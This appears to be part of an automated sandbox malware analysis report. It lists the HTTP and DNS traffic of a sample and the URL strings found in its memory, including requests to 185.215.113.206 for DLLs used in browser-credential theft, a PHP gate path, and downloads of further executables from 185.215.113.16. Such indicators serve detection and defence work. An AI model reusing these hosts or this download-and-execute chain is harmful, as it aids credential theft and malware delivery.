Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bloomfilterfiles/ExpandedDomainsFilterGlobal.json HTTP/1.1Host: www.bing.comConnection: keep-aliveCookie: ANON=; MUID=3A4078140C106EC03F536D2D0D356F1D;_RwBf=;Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ProductCategoriesSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sat, 16 Nov 2024 17:58:42 GMTIf-None-Match: "6738dd52-1b4200"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: e7dea42e57.exe, 00000017.00000002.3092767303.00000000012FB000.00000004.00000010.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3093556236.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3156252378.000000000051C000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: e7dea42e57.exe, 0000001C.00000002.3242540168.00000000001AB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: e7dea42e57.exe, 00000017.00000003.3043069476.0000000001640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe;
Source: e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeQ
Source: e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3093556236.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exerDF
Source: e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3093556236.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeS
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 00000018.00000002.2855713450.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 00000018.00000002.2855713450.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllA
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllv
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll_4
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll;(
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2500046632.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 6cb554c070.exe, 00000018.00000002.2855713450.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/7
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/9
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/:j
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Microsoft
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$
Source: 6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/q
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0%
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: 6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: 6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2497943980.00000000002C5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d
Source: file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/w)
Source: 6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206SIONNAME=Con
Source: 6cb554c070.exe, 00000018.00000002.2855713450.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206gA3yT
Source: file.exe, 00000000.00000002.2497943980.00000000002C5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: e7dea42e57.exe, 00000017.00000003.2950556748.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: e7dea42e57.exe, 00000022.00000002.3330064877.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsofth
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, file.exe, 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2525210244.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
